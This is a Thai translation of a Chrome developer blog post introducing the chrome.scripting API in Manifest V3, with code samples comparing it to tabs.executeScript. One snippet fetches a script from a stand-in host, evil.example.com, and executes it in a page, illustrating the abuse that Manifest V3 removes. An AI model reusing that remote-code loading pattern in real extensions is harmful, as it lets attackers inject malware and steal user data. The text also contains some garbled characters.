ขอแนะนำ chrome.scripting

Simeon Vincent
Simeon Vincent

Manifest V3 นำเสนอการเปลี่ยนแปลงหลายประการในแพลตฟอร์มส่วนขยายของ Chrome ในโพสต์นี้ เราจะมาสำรวจแรงจูงใจและการเปลี่ยนแปลงที่เกิดจากหนึ่งในการเปลี่ยนแปลงที่โดดเด่นที่สุด นั่นก็คือการเปิดตัว chrome.scripting API

chrome.scripting คืออะไร

ชื่ออาจบอกได้ว���า chrome.scripting คือเนมสเปซใหม่ที่เปิดตัวในไฟล์ Manifest V3 ซึ่งเป็นผู้รับผิดชอบด้านความสามารถในการแทรกสคริปต์และสไตล์

นักพัฒนาซอฟต์แวร์ที่เคยสร้างส่วนขยาย Chrome มาก่อนอาจคุ้นเคยกับเมธอดไฟล์ Manifest V2 ใน Tabs API เช่น chrome.tabs.executeScript และ chrome.tabs.insertCSS เมธอดเหล่านี้ช่วยให้ส่วนขยายสามารถแทรกสคริปต์และสไตล์ชีตลงในหน้าเว็บตามลำดับ ในไฟล์ Manifest V3 ความสามารถเหล่านี้ย้ายไปยัง chrome.scripting และเราวางแผนที่จะขยาย API นี้พร้อมด้วยความสามารถใหม่บางอย่างในอนาคต

เหตุใดจึงควรสร้าง API ใหม่

ในการเปลี่ยนแปลงแบบนี้ หนึ่งในคำถามแรกๆ ที่มีแนวโน้มว่าจะเกิดขึ้นก็คือ "ทำไม"

ปัจจัยบางประการที่ทำให้ทีม Chrome ตัดสินใจนำเนมสเปซใหม่มาใช้ในการเขียนสคริปต์ ข้อแรก Tabs API เป็นเหมือนคลังเก็บของเล็กๆ น้อยๆ สำหรับฟีเจอร์ต่างๆ อย่างที่ 2 เราต้องทำการเปลี่ยนแปลงที่เสียหาย กับ API ของ executeScript ที่มีอยู่ ประการที่สาม เรารู้ว่าต้องการเพิ่มความสามารถในการเขียนสคริปต์ สำหรับส่วนขยาย เมื่อพิจารณารวมกันแล้ว ข้อกังวลเหล่านี้ได้ระบุอย่างชัดเจนถึงความจำเป็นในการใช้เนมสเปซใหม่เพื่อสร้างความสามารถในการเขียนสคริปต์

ลิ้นชักขยะ

ปัญหาหนึ่งที่สร้างความรำคาญให้กับทีมส่วนขยายในช่วง 2-3 ปีที่ผ่านมาคือ chrome.tabs API มีการใช้งานมากเกินไป เมื่อเปิดตัว API นี้เป็นครั้งแรก ความสามารถส่วนใหญ่ที่ API มีให้จะเกี่ยวข้องกับแนวคิดก���้างๆ ของแท็บเบราว์เซอร์ แต่ถึงจุดนั้นแล้ว คอลเล็กชันนี้ก็เป็นเพียง ฟีเจอร์มากมายที่สะสมไ���� แ����������่วงห��������ีที่ผ่านมา คอลเล็กชันนี้เติบโตขึ้นเท่านั้น

ในช่วงที่เปิดตัวไฟล์ Manifest V3 นั้น Tabs API ได้เติบโตขึ้นเพื่อให้ครอบคลุมการจัดการแท็บพื้นฐาน การจัดการการเลือก การจัดระเบียบหน้าต่าง การรับส่งข้อความ การควบคุมการซูม การนำทางพื้นฐาน การเขียนสคริปต์ และความสามารถอื่นๆ ที่เล็กลง แม้ว่าสิ่งเหล่านี้จะเป็นเรื่องที่สำคัญ แต่อาจเป็นเรื่องยุ่งยากเล็กน้อยสำหรับนักพัฒนาแอปในช่วงเริ่มต้นและสำหรับทีม Chrome ในขณะที่เราดูแลรักษาแพลตฟอร์มและพิจารณาคำขอจากชุมชนนักพัฒนาซอฟต์แวร์

อีกปัจจัยที่ซับซ้อนคือไม่เข้าใจสิทธิ์ tabs แม้ว่าสิทธิ์อื่นๆ อีกหลายรายการจะจำกัดการเข้าถึง API ที่ระบุ (เช่น storage) สิทธิ์นี้ค่อนข้างผิดปกติตรงที่ให้สิทธิ์ส่วนขยายเข้าถึงพร็อพเพอร์ตี้ที่มีความละเอียดอ่อนในอินสแตนซ์แท็บเท่านั้น (และการขยายจะส่งผลต่อ Windows API ด้วย) เราเข้าใจดีว่านักพัฒนาส่วนขยายหลายรายเข้าใจผิดว่าตนต้องมีสิทธิ์นี้เพื่อเข้าถึงเมธอดใน Tabs API เช่น chrome.tabs.create หรือพูดง่ายๆ ก็คือ chrome.tabs.executeScript การย้ายฟังก์ชันออกจาก Tabs API จะช่วยลดความสับสนนี้ได้

การเปลี่ยนแปลงที่ส่งผลกับส่วนอื่นในระบบ

เมื่อออกแบบไฟล์ Manifest V3 ปัญหาหลักอย่างหนึ่งที่เราต้องการแก้ไขคือการละเมิดและมัลแวร์ที่เปิดใช้โดย "โค้ดที่โฮสต์จากระยะไ��ล" ซึ่งเป็นโค้ดที่ถูกเรียกใช้งานแต่ไม่รวมอยู่ในแพ็กเกจส่วนขยาย เป็นเรื่องปกติที่ผู้เขียนส่วนขยายที่ละเมิดจะเรียกใช้สคริปต์ที่ดึงมาจากเซิร์ฟเวอร์ระยะไกลเพื่อขโมยข้อมูลผู้ใช้ แทรกมัลแวร์ และหลบเลี่ยงการตรวจจับ แม้ว่าผู้ไม่ประสงค์ดีจะใช้ความสามารถนี้ได้เช่นกัน แต่ท้ายที่สุด เรารู้สึกว่ามันอันตรายเกินกว่าที่จะคงไว้ตามเดิม

ส่วนขยายจะเรียกใช้โค้ดแบบเลิกรวมกลุ่มได้ด้วย 2 วิธีที่แตกต่างกัน แต่วิธีที่เกี่ยวข้องคือเมธอด chrome.tabs.executeScript สำหรับไฟล์ Manifest V2 เมธอดนี้ช่วยให้ส่วนขยายเรียกใช้สตริงโค้ดที่กำหนดเองในแท็บเป้าหมายได้ ซึ่งหมายความว่านักพัฒนาซอฟต์แวร์ที่เป็นอันตรายสามารถดึงสคริปต์ที่กำหนดเองจากเซิร์ฟเวอร์ระยะไกลและเรียกใช้สคริปต์ภายในหน้าที่ส่วนขยายเข้าถึงได้ เราทราบดีว่าหากต้องการแก้ไขปัญหาเกี่ยวกับรีโมตโค้ด เราจะต้องยกเลิกฟีเจอร์นี้

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

นอกจากนี้ เรายังต้องการแก้ปัญหาเล็กๆ น้อยๆ อื่นๆ ที่เกี่ยวข้องกับการออกแบบเวอร์ชันไฟล์ Manifest V2 และทำให้ API เป็นเครื่องมือที่มีประสิทธิภาพและคาดการณ์ได้มากยิ่งขึ้น

แม้เราจะสามารถเปลี่ยนลายเซ็นของวิธีนี้ภายใน Tabs API ได้ แต่เราคิดว่าระหว่างการเปลี่ยนแปลงที่ส่งผลกับส่วนอื่นในระบบและการเปิดตัวความสามารถใหม่ๆ (จะอธิบายในส่วนถัดไป) การพักอย่างเป็นระเบียบจะง่ายขึ้นสำหรับทุกคน

ขยายความสามารถในการเขียนสคริปต์

ข้อควรพิจารณาอีกอย่างหนึ่งในการพิจารณาออกแบบไฟล์ Manifest V3 คือความต้องการที่จะแนะนำความสามารถ��พิ่มเติมของการเขียนสคริปต์ในแพลตฟอร์มส่วนขยายของ Chrome โดยเฉพาะอย่างยิ่ง เราต้องการเพิ่มการรองรับสคริปต์เนื้อหาแบบไดนามิกและขยายความสามารถของเมธอด executeScript

การรองรับสคริปต์เนื้อหาแบบไดนามิกเป็นคำขอฟีเจอร์ที่มีมาอย่างยาวนานใน Chromium ปัจจุบัน ส่วนขยาย Chrome ไฟล์ Manifest V2 และ V3 จะประกาศสคริปต์เนื้อหาแบบคงที่ได้เฉพาะในไฟล์ manifest.json เท่านั้น แพลตฟอร์มไม่ได้ให้วิธีลงทะเบียนสคริปต์เนื้อหาใหม่ ปรับการลงทะเบียนสคริปต์เนื้อหา หรือยกเลิกการลงทะเบียนสคริปต์เนื้อหาระหว่างรันไทม์

แม้เราจะรู้ดีว่าเราต้องการจัดการกับคำขอฟีเจอร์นี้ในไฟล์ Manifest V3 แต่ API ที่มีอยู่ของเราทั้งหมดก็ไม่รู้สึกว่าเป็นบ้านหลังที่ถูกต้องเลย เรายังพิจารณาการใช้ Content Scripts API ให้สอดคล้องกับ Firefox ด้วย แต่ในช่วงแรกๆ เราพบข้อเสียหลัก 2 ประการของวิธีการนี้ ก่อนอื่น เราทราบว่าอาจมีลายเซ็นที่ใช้ร่วมกันไม่ได้ (เช่น ลดการรองรับพร็อพเพอร์ตี้ code) ประการที่ 2 API ของเรามีชุดข้อจำกัดในการออกแบบที่ต่างออกไป (เช่น ต้องลงทะเบียนเพื่อให้ใช้งานได้เกินอายุการใช้งานของ Service Worker) สุดท้าย เนมสเปซนี้ยังเป็นการแสวงหาประโยชน์จาก ฟังก์ชันการทำงานของสคริปต์เนื้อหา ซึ่งเรากำลังพิจารณาเกี่ยวกับการเขียนสคริปต์ในส่วนขยายให้กว้างขึ้นอีกด้วย

ในด้านหน้าของ executeScript เราต้องการขยายความสามารถของ API นี้นอกเหนือจากที่เวอร์ชัน API ของแท็บรองรับ กล่าวอย่างเจาะจงก็คือ เราต้องการรองรับฟังก์ชันและอาร์กิวเมนต์ กำหนดเป้าหมายเฟรมที่เจาะจง และกำหนดเป้าหมายบริบทที่ไม่ใช่ "แท็บ" ได้ง่ายขึ้น

นับจากนี้ไป เราจะพิจารณาวิธีที่ส่วนขยายสามารถโต้ตอบกับ PWA ที่ติดตั้งและบริบทอื่นๆ ที่ไม่ได้จับคู่กับ "แท็บ" ในเชิงแนวคิด

การเปลี่ยนแปลงระหว่างtab.exeผลิตภัณฑ์ทั้งหมด Script และ Scripting.executeScript

ในช่วงเวลาที่เหลือของโพสต์นี้ เราอยากจะดูรายละเอียดความคล้ายคลึงและความแตกต่างระหว่าง chrome.tabs.executeScript และ chrome.scripting.executeScript อย่างละเอียด

การแทรกฟังก์ชันที่มีอาร์กิวเมนต์

ขณะพิจารณาว่าแพลตฟอร์มจะต้องพัฒนาไปอย่างไรเนื่องด้วยข้อจำกัดเกี่ยวกับโค้ดที่โฮสต์จากระยะไกล เราอยากหาสมดุลระหว่างพลังดิบของการเรียกใช้โค้ดที่กำหนดเองกับการอนุญาตเฉพาะสคริปต์เนื้อหาแบบคงที่ โซลูชันที่เราใช้คือการอนุญาตให้ส่วนขยายแทรกฟังก์ชันเป็นสคริปต์เนื้อหาและส่งอาร์เรย์ค่าเป็นอาร์กิวเมนต์

มาดูตัวอย่างสั้นๆ (ที่เข้าใจง่ายขึ้น) กัน สมมติว่าเราต้องการแทรกสคริปต์ทักทายผู้ใช้ด้วยชื่อเมื่อผู้ใช้คลิกปุ่มการทำงานของส่วนขยาย (ไอคอนในแถบเครื่องมือ) ในไฟล์ Manifest V2 เราสามารถสร้างสตริงโค้ดแบบไดนามิกและเรียกใช้สคริปต์นั้นในหน้าปัจจุบัน

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

แม้ว่าส่วนขยายไฟล์ Manifest V3 จะใช้โค้ดที่ไม่ได้มาพร้อมกับส่วนขยายไม่ได้ แต่เป้าหมายของเราคือการรักษาการเปลี่ยนแปลงบางอย่างที่เปิดใช้การบล็อกโค้ดที่กำหนดเองสำหรับส่วนขยายที่ใช้ไฟล์ Manifest V2 แนวทางด้านฟังก์ชันและอาร์กิวเมนต์ช่วยให้ผู้ตรวจสอบ ผู้ใช้ และฝ่ายที่สนใจอื่นๆ ของ Chrome เว็บสโตร์ประเมินความเสี่ยงที่ส่วนขยายมีได้อย่างแม่นยำยิ่งขึ้น ในขณะเดียวกันก็ช่วยให้นักพัฒนาซอฟต์แวร์ปรับเปลี่ยน���ารทำงานรันไทม์ของส่วนขยายตามการตั้งค่าของผู้ใช้หรือสถานะของแอปพลิเคชันได้

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

เฟรมการกำหนดเป้าหมาย

เรายังอยากปรับปรุงวิธีที่นักพัฒนาแอปโต้ตอบกับเฟรมใน API ที่แก้ไขแล้วด้วย ไฟล์ Manifest V2 เวอร์ชัน executeScript ช่วยให้นักพัฒนาซอฟต์แวร์กำหนดเป้าหมายเฟรมทั้งหมดในแท็บหรือเฟรมที่เฉพาะเจาะจงในแท็บได้ คุณใช้ chrome.webNavigation.getAllFrames เพื่อดูรายการเฟรมทั้งหมดในแท็บได้

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

ในไฟล์ Manifest V3 เราแทนที่พร็อพเพอร์ตี้ที่เป็นจำนวนเต็ม frameId ที่ไม่บังคับในออบเจ็กต์ตัวเลือกด้วยอาร์เรย์ frameIds (ไม่บังคับ) ของจำนวนเต็ม ซึ่งช่วยให้นักพัฒนาแอปกำหนดเป้าหมายหลายเฟรมได้ในการเรียก API เดียว

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

ผลของการแทรกสคริปต์

นอกจากนี้เรายังได้ปรับปรุงวิธีแสดงผลการแทรกสคริปต์ในไฟล์ Manifest V3 อีกด้วย โดยทั่วไปแล้ว "ผลลัพธ์" คือคำสั่งสุดท้ายที่ประเมินในสคริปต์ ให้คิดว่าเหมือนกับค่าที่ส่งกลับเมื่อเรียกใช้ eval() หรือเรียกใช้บล็อกโค้ดในคอนโซล Chrome DevTools แต่จะมีการทำให้เป็นอนุกรมเพื่อส่งต่อผลลัพธ์ในกระบวนการต่างๆ

ในไฟล์ Manifest V2 นั้น executeScript และ insertCSS จะแสดงผลอาร์เรย์ของผลการดำเนินการแบบธรรมดา การทำเช่นนี้ถือว่าไม่เสียหายหากคุณมีจุดฉีดเดียว แต่ไม่รับประกันว่าผลลัพธ์ของลำดับเมื่อแทรกลงในหลาย���ฟรม จึงไม่มีทางบอกได้ว่าผลลัพธ์ใดเชื่อมโยงกับเฟรมใด

ลองดูตัวอย่างที่ชัดเจนจากอาร์เรย์ results ที่แสดงผลโดยไฟล์ Manifest V2 และไฟล์ Manifest V3 ของส่วนขยายเดียวกัน ส่วนขยายทั้ง 2 เวอร์ชันจะแทรกสคริปต์เนื้อหาเดียวกัน และเราจะเปรียบเทียบผลลัพธ์ในหน้าสาธิตเดียวกัน

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

เมื่อเรียกใช้ไฟล์ Manifest V2 เวอร์ชัน 2 เราจะได้อาร์เรย์ [1, 0, 5] กลับมา ผลลัพธ์ใดสอดคล้องกับเฟรมหลัก และผลลัพธ์ใดสำหรับ iframe ค่าผลลัพธ์ไม่ได้บอกอะไรเรา เราจึงไม่ทราบแน่ชัด

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

ในไฟล์ Manifest V3 เวอร์ชัน results ตอนนี้ results มีอาร์เรย์ของออบเจ็กต์ผลลัพธ์แทนที่จะเป็นอาร์เรย์ที่มีเฉพาะผลการประเมิน และออบเจ็กต์ผลลัพธ์ระบุรหัสของเฟรมสำหรับผลลัพธ์แต่ละรายการอย่างชัดเจน ซึ่งช่วยให้นักพัฒนาแอปใช้ผลลัพธ์และดำเนินการกับเฟรมที่เฉพาะเจาะจงได้ง่ายขึ้น

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

สรุป

การยกตัวขึ้นของเวอร์ชันไฟล์ Manifest เป็นโอกาสที่หาได้ยากในการคิดใหม่และปรับเปลี่ยน API ส่วนขยายให้ทันสมัย เป้าหมายของ Manifest V3 ของเราคือการปรับปรุงประสบการณ์ของผู้ใช้ปลายทางโดยการทำให้ส่วนขยายปลอดภัยยิ่งขึ้น ขณะเดียวกันก็ปรับปรุงประสบการณ์การใช้งานของนักพัฒนาซอฟต์แวร์ด้วย การเปิดตัว chrome.scripting ในไฟล์ Manifest V3 ทำให้เราสามารถช่วยจัดระเบียบ Tabs API เปลี่ยนโฉม executeScript ให้เป็นแพลตฟอร์มส่วนขยายที่ปลอดภัยมากขึ้น รวมถึงวางรากฐานสำหรับความสามารถในการเขียนสคร��ปต์แบบใหม่ที่จะเปิดตัวภายในปีนี้